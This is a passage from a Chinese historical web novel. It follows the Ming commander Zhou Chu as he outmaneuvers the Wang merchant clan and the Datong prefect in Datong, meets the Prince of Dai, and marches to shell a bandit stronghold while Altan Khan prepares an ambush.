周楚这次来王家,还带了之前抓住的那几个王家的恶奴,为首的便是那个胖子。 很快,众人就来到了王家大门口。 “诸位前来所为何事?” 王家看门的拦住周楚,说道。 周楚瞥了他一眼,然后看了一眼于海。 于海直接拔出绣春刀,放在此人脖子上。 “瞎了你的狗眼,你一个下人,敢拦锦衣卫?” 于海怒喝道。 周楚手中有请柬,周楚相信这守门的也知道他们家主邀请了自己,现在看到自己身穿飞鱼服,还如此明知故问,显然是要给自己下马威,周楚又怎么会惯着他。 “锦衣卫又如何?在我王家门前,锦衣卫也得说明来意,通报过后才能进入。” 这人被刀架在脖子上,仍然嘴硬,似乎吃准了于海不敢把他怎么样。 于海听到这话,看向周楚,似乎在征求周楚的意见,周楚点了点头。 于海脸色瞬间兴奋了起来,刺啦一声,绣春刀划过此人脖颈,这人瞬间被杀死,死的时候他捂着脖子,眼里满是不可置信,他无论如何都没想到,锦衣卫居然敢当街杀了他。 眼看此人被杀,王家大门内藏着的数十位私兵纷纷手执长刀涌了出来,为首的是一个看上去五十岁左右的老头。 “诸位大人在我王家门口杀我王家的人,未免太过把我王家放在眼里了吧?” 此人不是别人,正是王家的管家。 “哦?这么说来,你王家是要和我锦衣卫唱对台戏了?” 周楚挑了挑眉毛道。 周楚这话刚说完,身后的十几个锦衣卫百户纷纷拿出燧发枪,枪口对准眼前的老头。 一直以来,老头都在大同横行霸道惯了,哪里见过这种阵仗,瞬间就慌了,冷汗不断地从额头渗出,一时之间不知道该如何处理了。 “哈哈哈,周大人误会了,我这些下人不知周大人的身份,多有得罪,还望周大人见谅。” 眼看形势剑拔弩张了起来,王家又走出一人,此人衣着华贵,四十多岁。 “在下王长山,见过周大人。” 此人正是王家家主王长山,来到周楚面前行礼道。 “都愣着干什么?还不把刀收起来,一个个没眼力的玩意。” 王长山转身看向身后的那些私兵,恨铁不成钢道。 对于王长山唱的这出双簧,周楚丝毫不感兴趣,无非是想给自己一个下马威,眼看镇不住自己,王长山又出来唱红脸了。 “王老爷这是唱的哪出啊?本官记得没错的话,是王老爷让人给本官送的请柬吧?” 周楚居高临下的看着王长山道。 “是在下安排不周,惊扰了周大人。” 王长山满脸歉意道。 “周大人,请。” 王长山说着做了一个请的姿势,示意周楚进王家。 周楚一点都不客气,直接骑着乌骓马就奔王家而去,丝毫没有下马的意思。 沈炼等人正要跟上,王长山却拦住了他们。 “周大人,在下邀请的只有你,你这下下属.....” 王长山这话的意思很明显,想让沈炼等人在王家门外候着。 “王老爷,今日你请本官来,我这些下属自然要跟着一起进你们家门,你既然请了本官,这道门他们进也得进,不进也得进。” 周楚看着王长山,一字一顿道。 王长山看到周楚的态度如此强硬,脸色终于变了。 第201章 王老爷,高!周大人,硬! 最终,王长山还是选择了妥协,让周楚的人马都进入了王家。 进去之后,周楚才发现王家的私兵远比自己想象的要多,入目的就有三四百人,隐藏在暗处的不知道有多少。 不过周楚丝毫不惧,此次周楚带来的最低都是小旗官,全是锦衣卫的精锐,虽说和京城的锦衣卫有些差距,但远不是这些私兵能比的。 周楚跟着王长山来到了王家正厅,看到了不少熟人,胡铎以及之前被周楚扣在军营之中的那些官员基本都在。 这些人周楚昨天就把他们放出了军营,怪不得王长山如此着急,想来是胡铎这些人来通风报信的。 “胡大人,还真是在哪都能看到你啊。” 周楚看着眼前的胡铎,调侃道。 “周大人言重了,王老爷为周大人接风洗尘,特意邀请下官前来陪酒。” 胡铎满脸笑容道。 “这么说来王老爷好大的威风,居然能号令大同知府?” 周楚说这话的时候,看向了一旁的王长山。 “周大人哪里的话,胡大人也是仰慕大人,哪里是因为在下,完全是想和周大人不醉不归。” 王长山笑道。 “王老爷有什么话还是直说的好,在下军务繁忙,没那么多时间和你们饮酒作乐。” 周楚瞥了一眼王长山,丝毫不给面子道。 王长山听到这话,心中暗恼,却是拿周楚毫无办法。 “周大人、胡大人,换一处说话。” 王长山做出一个请的动作道。 周楚听到这话,也不怕,此时王家正厅之外都是自己的人,沈炼和于海一左一右跟着自己,周楚直接跟着王长山进入了旁边的偏厅。 胡铎也跟了进去。 沈炼和于海在进入侧厅的第一时间就在观察侧厅的布置和有没有藏人。 经过仔细检查之后,两人确定了侧厅没有隐藏其他人,也没有什么机关布置之后,两人冲周楚点了点头。 “周大人未免也太谨慎了些。” 王长山笑道。 “小心使得万年船。” 对于王长山略带嘲讽的话语,周楚毫不在意,直接坐了下来。 “王老爷叫本官前来,所为何事?” 周楚看着王长山道。 “周大人有所不知,这大同城外的马匪甚是猖獗,在下的商队以及大同其他商人的商队经常被马匪劫掠,还有那草原上的蒙古人,简直是无法无天。” 王长山满脸愤恨道。 “王老爷此话何意?” 周楚似笑非笑地看着王千山道。 “王老爷的意思是,他想请大人出城剿匪,还大同百姓一个朗朗乾坤。” 胡铎在一旁帮腔道。 “哦?王老爷是这个意思吗?” 周楚反问道。 “大人有所不知,这马匪之中最厉害的一个叫张瞎子,一个独眼龙,这股马匪有上千人,手段极其狠辣。” 王长山没有直接回答周楚的话,而是继续说道。 “那王老爷到底是什么意思?” 周楚不疾不徐道。 “在下代表大同城内的所有乡绅,想请大人出城剿匪,倘若大人肯出城剿匪,我等会为大人准备一个大大的惊喜。” 王长山终于绷不住了,说道。 在他想来,既然没办法将周楚在王家干掉,那就借用马匪的名义除掉这个锦衣卫指挥使,之前的几任知府,他们也都是通过这种手段除掉的。 关于张瞎子这股马匪,他有意隐瞒了很多信息,比如这股马匪不止上千人,足足有三千多人,是王家以及大同城内的很多商人共同养着的。 他们甚至有一些粗制的铠甲,虽然和大明军队的铠甲没法比,但在王长山看来,解决周楚那是绰绰有余了。 甚至到时候他们还可以让人联系蒙古人,两方夹击周楚,如此一来,可保万无一失。 “惊喜,什么是惊喜?” 周楚看向两人,问道。 “惊喜,就是惊喜啊。” 胡铎比划着,言语夸张道。 但两人就是不说惊喜是什么实际的东西,这无疑是在给周楚画大饼。 偏偏周楚从来不吃大饼。 “胡大人帮我问问王老爷,到底什么是惊喜,什么他娘的是惊喜?” 周楚看着胡铎,一字一顿道。 “惊喜....” 胡铎刚想继续和稀泥,看着周楚那咄咄的目光,却是怎么都说不下去了。 “王老爷,什么是惊喜?” 胡铎看向王长山道。 王长山看着周楚和胡铎的目光,明白自己不给出具体的好处,恐怕这位锦衣卫指挥使是不会心动的,给少了还不行,毕竟他知道的这几天,锦衣卫单单抄家就抄出了两三百万两白银。 “惊喜就是,周大人出城剿匪,在下和大同城内的乡绅共同出一百万两白银,让周大人犒赏全军将士。” 王长山一拍大腿道。 周楚听到这话,并没有接话,而是看向了胡铎。 “胡大人,到底什么是惊喜?” 周楚要的就是胡铎当这个见证人,胡铎作为大同府的知府,三人当面,事后自然不会不认账。 “周大人,惊喜就是,周大人出城剿匪,在下和大同城内的乡绅共同出一百万两白银,让周大人犒赏全军将士。” 胡铎硬着头皮,做了这个担保,他很清楚周楚这么做的原因,是要把他也拉上贼船,此时的胡铎有些后悔,干嘛趟这趟浑水。 “原来这他娘的叫惊喜啊。” 周楚一拍大腿道。 “王老爷,高!” 周楚竖起大拇指道。 “周大人,硬!” 王长山恭维道。 “周大人又高又硬!” 胡铎满脸笑容地补充道。 “那王老爷好好准备准备吧,七日之内,本官必出城剿匪。” 周楚估算了一下时间,虎贲军再有个四五日差不多就到大同了,为了保险起见,周楚还多说了几天。 “周大人此话当真?” 王长山满脸惊喜道。 “自然当真,马匪如此无法无天,本官为陛下办差,自然不能坐视不管,本官誓要荡平马匪,荡平张瞎子。” 周楚豪气干云道。 一旁的沈炼和于海看着周楚这么能演,沈炼早就习惯了,没什么反应,倒是于海第一次见到周楚这般模样,只能强忍着笑。 第202章 代王朱俊杖的助攻,周楚练兵 周楚离开王家之后回到了军营之中,虎贲军没来的这几天,周楚并不准备闲着。 既然发了军饷,周楚自然要好好操练一下这三万大军,以往他们没有战斗意志是因为领不到军饷,现在不同了,一个个都充满了斗志,周楚自然要趁着他们这股势头,好好练一练他们。 总不能光拿钱,不干事吧。 原本的百户千户基本都被处理了,现在周楚要面临的第一个问题,便是新的百户千户的任命,不然的话,没有百户千户,周楚连大军都不好指挥。 “军饷足额给你们发放了,接下来你们就该跟老子好好训练了,士兵就要有个士兵的样子,瞧瞧你们,现在是什么样子?一个个拉稀摆带的。” 周楚横着眼看着眼前的大军道。 如果是其他人说这话,下面的士兵或许会有不服的,但说这话的是周楚,周楚是谁?是他们的衣食父母,周楚说这话,他们找不到反驳的借口,一个个都低下了头。 眼看着这些人都服气了,周楚也没再继续骂他们,而是开始制定训练计划。 至于百户和千户,先训练两天观察一下再具体任命。 周楚正指挥着大军训练呢,守营的岗哨士兵来到了周楚面前,面色怪异。 代王府之中,朱俊杖看了看眼前的这些女人,似乎都不怎么满意,于是将管家叫了过来。 “主子,您有什么吩咐?” 管家来到朱俊杖面前道。 “去挑选几个上好的瘦马,必须得是雏,给锦衣卫指挥使周楚送过去。” 朱俊杖看着管家说道。 代王府作为王府,特别是朱俊杖又相当荒淫的情况下,一直在培养着瘦马,而且都是从小开始培养的。 不过朱俊杖此人虽然荒淫,对这些女人却不会过于苛刻,培养瘦马的方式和扬州瘦马的培养方式不尽相同,总体而言更偏向健康一些,主要是朱俊杖不太喜欢那些略显病态的瘦马。 “爹,我听说你今天见到周指挥使了?” 管家刚离开,一个二八年华的少女来到朱俊杖面前,一脸兴奋道。 此人不是别人,正是朱俊杖的嫡长女,朱思莹。 实际上朱俊杖的荒淫完全是和他爹朱聪沫一脉相承的,朱俊杖当初被废为庶人,那些罪名,也是替他爹朱聪沫受的。 不过后来朝廷为了保全朱聪沫的一丝体面,再加上朱俊杖的孝心,才把服丧期间荒淫无度的恶名拉到了自己头上。 这一点,周楚第一次得知的时候,还有些恍惚,不明真相的周楚,还以为自己记忆中的历史和现实有所偏差呢。 按照周楚的记忆,荒淫的确实是朱聪沫,但按照锦衣卫给出的信息,却变成了朱俊杖。 朱俊杖虽然荒淫了些,却并非是色中饿鬼,甚至他的好色也都是有意表现出来的。 之前的宁王叛乱让他心生警戒,害怕被皇帝猜忌,但代王府在这大同城内如果和那些商人士绅毫无关联的话,日子并不会好过。 如今的藩王早已大不如前,朱俊杖也不过是左支右拙罢了,大同的很多事,他实际上都是在盯着的,却也只能盯着,没什么反制手段。 倘若真出了什么不可控制的事,朱俊杖也会第一时间给皇帝上奏疏,只是那些商人给代王府送钱,也只是让他闭嘴罢了,很多事并不会让他知道。 双方都有所防备,就像这次,朱俊杖没有去王家赴宴,王长山并不会感到意外。 很多人都以为朱姓宗室子孙都获得逍遥快活,实际上恰恰相反,藩王还好一些,虽说多受掣肘,却也可以潇洒快活,但那些宗室子弟,很多甚至难以为继,活不下去,主动要求去凤阳守灵,如此还可以混个温饱。 文官们不过是将锅甩到了宗室子弟身上罢了。 “是啊。” 朱俊杖看着自己的这个女儿,满脸宠溺道。 “周指挥使长的怎么样?是不是像话本上说的那样,虎背熊腰的?” 朱思莹满脸好奇道。 “周楚确实是虎背蜂腰,不过长的很是俊俏,你如果见了,肯定会被迷了眼。” 朱俊杖笑道。 朱思莹听到这话,心中愈发好奇,自从前两个月看了第一本关于周楚的话本,朱思莹就让人不断地搜集关于周楚的其他话本。 因此她对周楚这个锦衣卫指挥使,虽然未见其人,心中却已经满是敬仰和爱慕了。 实际上不只是朱思莹,很多官家小姐看了关于周楚的话本,心里都有类似的想法,这种爱慕并非单纯的男女之间的爱慕,更像是粉丝和偶像之间的关系。 “那爹你为啥要给周大人送女人呢?” 朱思莹满脸不解道。 按照她的理解,或者说按她看的那些话本的描述,周楚不是一个好色的人。 朱俊杖看到女儿这表情,自然知道她在想什么,无奈的笑了笑。 “傻丫头,咱们代王府和那些商人士绅之间有些瓜葛,周楚要查这些人,肯定会查出这些东西,你爹我不给他送些女人,又怎么能放下心来?” 朱思莹听到这话,想了想,还是不太理解。 “难道周大人很好色吗?” 朱俊杖听到这话,摇了摇头。 “周大人青年俊才,风流倜傥,但如果说好色,却是算不上的,这些女人是为父硬要送的,他不收为父不放心,懂了吧?” 朱思莹听到这话,似懂非懂地点了点头。 “那能不能让我去送?” 朱思莹一拍脑门道。 朱俊杖听到这话,刚喝进嘴里的茶水差点吐出来。 “我的小祖宗呦,你可千万别去,这是什么好事吗?给周楚送瘦马,你要是亲自去了,名声就坏了,你要是想见周楚,为父有的是办法。” 朱俊杖对于自己女儿的单纯有些头疼,朱思莹向来想一出是一出,自己要是不制止的话,她恐怕还真会去。 朱思莹自小长在王府,受到的礼制影响没那么深,只要她做的不是很出格,没人会说什么,这也造就了她如今的性格。 “什么办法?” 朱思莹满脸期待道。 “回头为父让人将周楚请到我们府上来不就行了,我手上有他需要的信息。” 朱俊杖神秘一笑道。 周楚正在军营里练兵,值守营门的士兵一脸怪异的来到周楚面前。 “大人,营外有个人带着几个女人,说是代王让他来的。” 周楚听到这话,顿时有些头疼,他没想到朱俊杖还真是说到做到。 周楚来到军营之外,看到了代王府的管家和他身后的几个瘦马。 “见过周大人。” 管家恭敬行礼道。 这是朱俊杖特意嘱咐的,让他见到周楚态度一定要端正。 “怎么还送到军营来了?我给你个地址,把她们带到那边去就行。” 周楚皱了皱眉道。 “是小的考虑不周了,不过我家主子让我给大人带个话。” 代王府的管家谦卑道。 “哦?什么话?” 周楚有些疑惑道。 “我家主子邀请大人明日过府一叙,他知道张瞎子这伙人的老巢所在。” 管家来到周楚面前,压低声音道。 周楚听到这话,眉毛一挑。 第203章 前往代王府,俺答现身 对于朱俊杖,周楚一直都有些疑惑,虽然上次见面,朱俊杖表现的很是荒淫,但周楚从他的言谈举止之中能听的出来,这位代王并不是一个很荒唐的人。 这和传闻似乎有所不符,周楚不禁想起了原本历史上记录的关于代思王朱聪沫的传言,朱聪沫守孝期间荒淫无度,连累朱俊杖一起被贬为庶人。 代王府由朱俊杖的三叔朱聪涓摄管,最后朱俊杖的祖母王氏联合代王府众人以及大同当时的将领联合向朝廷上奏疏,称朱聪沫纵然有罪,孩子是无辜的,这才让朱俊杖回到大同生活,却仍然不得入王府。 次年王氏再次代藩宗室保举朱俊杖,孝宗终究还是心软,将朱聪沫的身份由庶人恢复为革爵武邑王,朱聪沫闲居太原,而朱俊杖则以武邑王长子身份,统管代王府。 弘治十一年朱聪沫去世,朱俊杖袭封代王。 这些,才是周楚了解的历史,难道朱俊杖是替他爹担了恶名? 不过这些周楚并不感兴趣,他感兴趣的只有张瞎子这伙马匪的老巢所在之地。 周楚带着沈炼和于海,来到了代王府大门口。 理论上而言,大同的锦衣卫所是受代王府统管的,毕竟这里是代王的封地,代王便是这里的大王,但这也只是理论上。 代王府原本对锦衣卫还有些统摄力,但自从锦衣卫千户换成于海之后,于海表面上听命于代王府,实际上直接对周楚和皇帝负责。 所以周楚来代王府,自然要带着于海。 “周大人,您终于来了。” 代王府的管家,也是总管太监,早已按照朱俊杖的命令等候在代王府门口,看到周楚等人到来,急忙殷勤上前行礼。 周楚翻身下马,将乌骓马的缰绳递给了一旁的太监。 “有劳公公久候了。” 周楚笑道。 “周大人这话,可就折煞小人了,周大人何等身份,咱家本就应该候着。” 总管太监满脸笑容道。 周楚听到这话,也跟着笑了笑,没有继续客套,而是信步走进了代王府。 代王府很大,比周楚之前去过的公主府大的多。 这很正常,这里生活着的是整个代藩宗室,上下不知道有多少人,而且这里是大同,代藩便是这里的王,代王府相当于王宫,想小也小不了。 周楚跟着太监,来到了代王府的正厅,见到了朱俊杖。 “下官周楚拜见大王。” 周楚行礼道。 “周大人不必如此多礼,坐吧。” 朱俊杖急忙摆手道。 周楚这才坐下,沈炼和于海则一左一右站在周楚身后。 “今日叫周大人前来,实在是小女对周大人仰慕已久,她整日看关于周大人的话本,一直都想见周大人,本王无奈,才出此下策。” 朱俊杖略显无奈道。 周楚听到这话,有些愕然,关于自己的那些话本,周楚倒是知道一些,之前在京城的时候,云瑾回京之后还特意买了一些看。 只是周楚没想到这些话本居然在大同也有流传。 不过想想也对,大同离京城本身就不算太远。 “那大王说的张瞎子的事?” 周楚有些不确定道。 他还真怕朱俊杖这个也是说着玩的,周楚现在确实很需要张瞎子的藏身点。 “这个是真的,张瞎子手下有个人睡了她的女人,差点被张瞎子杀死,本王当时就觉着留着这人有用,就把他关押在了我这王府之中,有专人看管。” 朱俊杖说道。 周楚听到这话,点了点头。 “大王未雨绸缪,下官佩服。” “周大人这些日子恐怕没吃什么好东西吧?这大同乃至整个山西的,都没什么上的了台面的厨子,我这府上的厨子还是特意从京城请的,做的菜那叫一绝,周大人可要赏脸。” 朱俊杖笑道。 “那就恭敬不如从命了。” 周楚说道。 “爹。” 朱思莹在旁边的偏厅听了半天,早已心痒难耐,想要看一看周楚到底长什么样,眼看朱俊杖还不叫自己,顿时急了,自己走了出来。 “你看看你,还是这般毛躁,周大人就在这里,又不会跑。” 朱俊杖略显责怪道。 “周大人莫要见怪,本王本就荒唐,所以对小女也不会多加束缚,只希望她能开心便好,她想做什么,想要什么,我这个当父亲的都会尽量满足。” 朱俊杖略显愧疚地看着周楚道。 周楚听到这话,倒是有些佩服朱俊杖了,在这个时代能有这种想法的人少之又少,当然,这和朱俊杖自幼被贬为庶民,没正经学过礼仪有一定的关系,也和他代王的身份有关。 他朱俊杖作为代王,吃喝玩乐应有尽有,他的女儿自然也不太需要遵从太多的礼法。 朱思莹在这种相对宽松的环境下长大,却也没有做过什么逾越的事,她其实很清楚自己父王的处境和为难之处,更清楚如今父王的好色不过是刻意演出来的。 除了在周楚这件事上她有些失了分寸之外,其他的事朱思莹一向处理的很好。 此时的朱思莹看到周楚那俊俏的脸庞,以及那由内而外散发的上位者气息,再加上一直以来朱思莹看那些话本对周楚叠加的一层层滤镜,在朱思莹眼中,此时的周楚简直完美无瑕,让她有些自惭形秽。 “见过郡主。” 周楚行礼道。 “周大人不必多礼。” 朱思莹脸色一红道。 “周大人和小女就不必这般客套了,我让人准备了上好的菜肴,周大人陪本王好好喝一杯。” 朱俊杖看到朱思莹如此模样,笑道。 草原上大青山麓的丰州滩地区,一个蒙古部落正在那里矗立着。 王长山派出的信使快马加鞭,跑了近三天,终于来到了这里。 他一路骑马来到了一个蒙古包跟前。 “王家信使求见首领。” 信使在蒙古包外用蒙古语说道。 这话一出,蒙古包的门帘被掀开了。 “进来吧。” 信使这才进入蒙古包之中,此时的草原寒风凛冽,但蒙古包内却是异常的暖和,让信使缓过来一口气。 “王长山让你来的?” 蒙古包内,坐在正中央的不是别人,正是俺答。 此时的俺答虽然只有十四岁,却异常魁梧,身高已然和成年蒙古人相差无几了。 “首领,大同来了个锦衣卫指挥使,已经接管了军营,我家家主使了个计策,让他几日之后出城剿匪,届时家主希望首领能和马匪里应外合,将那锦衣卫指挥使斩杀。” 信使不敢拐弯抹角,直接说明了来意。 “哦?锦衣卫指挥使?接管军营?” 俺答听到这话,顿时来了兴致。 第204章 虎贲军到,严嵩的变化 虎贲军抵达大同的时间比周楚预料的还要早一两天。 林鹿以及虎贲军众将士看到周楚之后都极为兴奋,这段时间他们在苏州府除了训练还是训练,没了周楚的指挥,林鹿和整个虎贲军都陷入了迷茫。 无论是林鹿还是虎贲军都认为只有周楚才是他们的顶头上司。 毕竟虎贲军是周楚亲手组建的,虎贲军更是周楚亲自训练出来的,可以说在这些虎贲军眼中,周楚虽然和他们同岁,甚至有些比周楚要大,但在他们看来,周楚于他们如同严师一般。 周楚在,他们的主心骨便在,当初周楚一离开苏州府,虎贲军顿时如同没了主心骨。 即便是林鹿也是如此,他以前虽然在边境领过兵,但那些卫所兵和虎贲军相比,各方面都差了不知道多少。 林鹿甚至觉得,这两千虎贲军甚至可以随意冲五万卫所兵的阵,那些卫所兵甚至不会有有效的反制手段。 跟着周楚,林鹿学了很多东西,他也习惯了周楚在的时候对他下各种命令,他只要去执行就好了,根本不用想对不对。 因为无数次事实证明,周大人的决定每次都是恰到好处的。 “大人!” 林鹿来到周楚面前行礼道。 周楚看着眼前风尘仆仆的林鹿和虎贲军,看着虎贲军那些士兵看着自己满是敬仰和激动的眼神,一时之间有些恍惚。 当初自己只是想组建一个军队,练兵以解决江南士绅的问题,没想到不知不觉间,虎贲军已经成长到了如此地步。 如今的虎贲军,粮饷充足,之前周楚给他们预留的军饷甚至够后面一二十年用的了。 每个虎贲军的都有轻重两套盔甲,此次虎贲军从苏州府赶来,穿的都是轻甲,重甲有专门的后勤部队负责运送,还需要一段时间才能抵达大同。 不过草原上作战,轻甲完全足够了,重甲只会是累赘,草原上讲究的便是来去如风,要打就打敌人一个措手不及。 无数次的闪电战役都证明了这个问题,只有攻敌所未料,敌人毫无防备的情况下,才能以最低的代价歼灭敌人。 周楚没让虎贲军京城,而是在大同城外十几里,找个了相对隐蔽的地方安营扎寨。 虎贲军的存在大部分人并不清楚,周楚也不准备让虎贲军暴露在众人的视野之下。 如此一来,虎贲军才能成为周楚手里的奇兵和底牌。 一直以来,虎贲军才是周楚的底气所在,在江南的时候如此,如今在大同也是如此。 周楚只带了少数几个如林鹿以及几位虎贲军百户进了大同城内。 虎贲军的百户论单体战力或许和一般的锦衣卫百户相差不大,但如果是三人以上配合的话,锦衣卫百户绝不是虎贲军的对手。 “去把胡铎和王千山叫过来。” 周楚直接回到了之前于海给自己准备的宅子之中,如今军营之中的训练已经步入了正轨,这几天周楚已经把大部分千户都进行了任命,至于百户,太多太繁杂,周楚让那些千户自己选。 对这三万将士的训练方式,当然不能和虎贲军一样,虎贲军是精锐中的精锐,周楚是结合了练兵实纪以及后世的特种兵训练方法对虎贲军进行训练的。 对于这三万将士,周楚的要求则要低得多,主要以体能训练为主,战阵训练为辅。 没有好的体能,其他都是扯淡。 这三万将士之前很多年也都是偶尔训练,从未经历过如此密集且高强度的训练,刚开始的时候被周楚练的死去活来的。 不过他们对周楚是毫无怨言,毕竟周楚给他们发了那么多军饷,别说练他们了,即便是让他们去战场上冲杀送死,他们也是愿意的。 要知道在这之前,很多士兵家里都快揭不开锅了,周楚对他们而言,无异于再造之恩。 朱俊杖送来的那些个瘦马,此时看到周楚终于出现了,纷纷上前伺候着。 “行了,退下吧。” 周楚挥了挥手道。 倒不是说周楚不懂享受,这些女人捏腿锤肩都是很拿手的,毕竟专门训练的,但此时是寒冬腊月,周楚穿的是棉衣,捏腿捏的是棉花,锤肩锤的也是棉花。 如同隔靴搔痒一般,没什么意思。 这些女人听到这话,纷纷作了个福,然后恭敬退下。 至于这些女人,春兰自会安排,周楚甚至都不需要特意去吩咐。 春兰做事,一向都很让周楚舒心,她会把所有琐事都处理好,周楚需要的东西,总是能在手边,随手就能拿到。 这一点可不是所有人都能做到的,甚至可以说能做到的人寥寥无几。 “江南的情况如何了?” 周楚看着林鹿,随意道。 “这段时间,苏州府一切正常,江南也一切正常,严大人的能力很强,之前大人在苏州府的时候属下还没有发现。” 林鹿如实说道。 周楚听到这话,点了点头。 严嵩如果能力不强的话,自己也不会让皇帝特意把他调到苏州去了。 严嵩很好用,特别是对手下官员的拿捏和把握,更是没的说。 “只是大人离开之后,严大人似乎变了,不像以前那般唯唯诺诺,整个人给人的感觉完全不一样了,而且这段时间,江南很多官员都在走严大人的门路。” 林鹿想了想,说道。 他只是将自己看到的听到的告诉周楚,他自己并不会下结论,也不会发表意见。 在周楚面前,他根本没必要动脑子,因为他清楚,自己这脑子和大人比起来,差了不知道多少,很多事大人能一眼看透本质,自己就差的远了。 周楚听到这话,并不意外。 严嵩有他的优点,就有他的缺点,严嵩的野心在苏州府的时候隐藏的很好,但周楚完全能看得出来。 毕竟他一个四十多岁的官员,以前那么清高,却一直对自己这个十几岁的锦衣卫满是奉承,这其中要是没有对权利的渴望,说出来谁都不信。 严嵩善于结党,让无数官员围绕着他形成一个利益共同体,只有这样,他才能借着这些人一步步往上爬。 对于这一点,周楚并不感到意外。 严嵩本就是一把双刃剑,不过对周楚和皇帝而言,却是一把好剑。 毕竟严嵩现在是彻彻底底的帝党,周楚又是锦衣卫指挥使,两人在职务上不会有冲突。 而且周楚很清楚,最起码在五到十年内,严嵩会很好用。 “少爷,王长山和胡知府到了。” 春兰来到周楚面前,通报道。 周楚听到这话,顿时露出了笑容。 送钱的终于来了。 第205章 火炮运到,出城剿匪,蓄势待发 周楚很清楚王长山没安好心,甚至很可能会勾结俺答的人偷袭自己。 不过周楚不在乎,虎贲军在手的周楚,还真怕俺答的人不来,只要他们来了,就是周楚和俺答部落的人交锋的时候。 如此一来,还省得周楚去茫茫草原上寻找俺答部落了。 不过周楚也清楚,这一次想要一战在草原上全歼俺答的人也不现实,大明的战马和蒙古人的战马相比,差距还是不小的。 这次最多是遭遇战,想在草原上对俺答的人马形成合围,很难。 只要不是合围,俺答的人马自然可以一击不中远遁千里。 不过周楚自然不会轻易放过这个机会,要攻其不备,尽量歼灭俺答部落的有生力量。 蒙古人一个部落的人口就那么多,杀一个少一个,这次歼灭的越多,之后追击到草原上面对的就越少。 “周大人叫在下前来,莫非是准备出城剿匪了?” 王长山和胡铎两人来到正厅周楚面前,满脸笑容道。 “没错,不过行军打仗一向讲究的是兵马未动粮草先行,我这三万大军,人吃马嚼的,胡大人之前说的惊喜,该兑现了吧?” 周楚看着眼前的胡铎,略带调侃道。 毕竟之前是胡铎做的中间人,周楚要找也只会找胡铎这种官面上的人说话。 胡铎听到这话,看向了一旁的王长山。 王长山有些肉疼的从怀中取出一沓银票,放在了周楚面前的桌子上,这些钱都是大同城内的士绅富户共同出的,王长山作为大同的首富,自然是出的最多。 不过一想到周楚很快就会被除掉,这些钱还会回到自己手中,王长山就释然了。 更何况这大同城内最大的钱庄本就是他王家开的,真金白银都存在钱庄里,这银票不过是一张纸罢了,到时候让张瞎子将这些银票都销毁,那这些银子不就都是他们王家的了? 不得不说,王长山的如意算盘打的不错。 “周大人,这是我这几天找城中的富户筹集的一百万两白银,我都换成了不记名银票,请周大人笑纳。” 王长山表情很是和善,不了解他的人还真以为他在为周楚着想。 周楚拿过银票看了一眼,随手递给了春兰。 “你带人去钱庄把这些白银都取出来。” 春兰接过银票,带着一群锦衣卫,直奔王氏钱庄而去,一百万两很多,也很重,不过如此大的数目,钱庄应该派马车运送。 春兰带了这么多锦衣卫去,钱庄哪怕不想帮忙运送,也得运送。 王长山看到这一幕,脸都绿了,如果这些钱被取出来的话,那就和他王家的关系不大了。 一百万两白银,即便是王长山也会感到十分的肉疼,要知道整个王家虽然有很多钱,但一百万两放在哪也不是一个小数目,甚至可以算得上是一个极大的数目了。 但王长山又找不到任何借口阻止春兰去通兑银钱,只能干着急。 “王老爷这是怎么了?身体不舒服吗?” 周楚看着王长山抓耳挠腮的模样,明知故问道。 “周大人,钱已经给了,您看什么时候出城剿匪?” 王长山转移话题道。 “王老爷急什么?三日之内本官必出城剿匪。” 周楚说道。 王长山能不急吗?他恨不得周楚现在就出城剿匪,这样的话那一百万两白银他还能保住。 不过周楚显然不会让他如愿,王长山也是无奈。 “希望周大人说到做到,不然这些花了钱的乡绅富户恐怕会闹出乱子。” 王长山软中带硬道。 “不劳王老爷费心,如今大军暂归本官统管,剿匪一事自然是义不容辞。” 如今虎贲军在手的周楚又怎么会把王长山的威胁放在眼里。 最终,王长山碰了一鼻子灰,悻悻离去。 “周大人,这王老爷可不一般,得罪他可没什么好处。” 王长山走后,胡铎意味深长地看着周楚,看似在劝周楚,实际上也是在威胁。 “怎么?胡大人一个大同知府,还要看一个商人的脸色?你还是朝廷的命官吗?” 周楚脸色一肃道。 胡铎听到这话,冷汗都下来了,他怎么都没想到周楚上来就扣这么大一个帽子。 “周大人误会了,罢了,下官也是多嘴。” 胡铎说完之后也起身告辞了。 周楚之所以说三天之内出城剿匪,是因为还在等一样东西。 子母炮。 子母炮从苏州走水路运到了天津码头,然后从天津运往大同,速度不会比虎贲军慢多少,想来这一两日应该就要到了。 大同周围和苏州可不一样,苏州一马平川,少数几座山顶天了也就两三百米高。 但大同周围全都是山。 根据代王朱俊杖那边提供的信息,张瞎子的巢穴就在大同城东四十里处的采凉山上,采凉山海拔两千多米,大同的平均海拔有一千米左右。 如果没人指路,想在茫茫大山之中找到马匪巢穴谈何容易,但现在不一样了,朱俊杖将张瞎子手下的那个叛徒交给了周楚,此时那人就在周楚手上。 根据那人的说法,张瞎子的营寨易守难攻,固若金汤,一般人即便是知道也完全奈何不了他,所以周楚要等火炮全部运到,到时候来个炮轰匪窝,周楚到想看看,是自己的火炮火力猛,还是张瞎子的营寨结实。 没过多久,春兰和一众锦衣卫护送着钱庄的运银子的马车来到了周楚现在的宅子门口,几十辆马车一艘艘的排在外面。 好在这里相对偏僻,倒没有多少人围观,即便是有人,看到这么多锦衣卫,恐怕也不敢多看一眼。 好在于海给周楚弄的这个宅院够大,这些装银子的箱子完全能放得下。 周楚倒也不担心有谁敢来偷或者抢,谁要是有这个狗胆,那就算他撞了大运了,他会体会到被大军围住的感觉。 更不用说周楚这个宅子里面都有锦衣卫值守,别说小偷了,苍蝇都飞不进去。 如此又过了一天,运送火炮的队伍终于赶到了大同城外,和虎贲军汇合了。 周楚骑着乌骓马,率领虎贲军直奔采凉山而去。 草原上,俺答率领着他部落里的一千多骑兵正直奔大同城东而去,张瞎子的藏身处,王长山让人告诉了他,俺答此时距离采凉山只有一百多里了。 “区区一个锦衣卫指挥使,也敢在草原上搅动风云?” 俺答心中冷笑道。 第206章 火炮轰山,摧枯拉朽 不只是虎贲军,大同城内的三万卫所兵,周楚也全都调了出来。 如果在草原上这些步兵自然不好对阵骑兵,但采凉山附近可是山地地形,倘若俺答的人马来了,在采凉山附近也跑不了多快。 一旦骑兵的速度降下来,那么步兵就有了闪转腾挪的空间了。 周楚很清楚,即便是俺答带人来,也不会带很多,顶天了一千多骑兵,毕竟此时的俺答满打满算就统帅一个部落,整个部落的年轻人又能有多少呢? 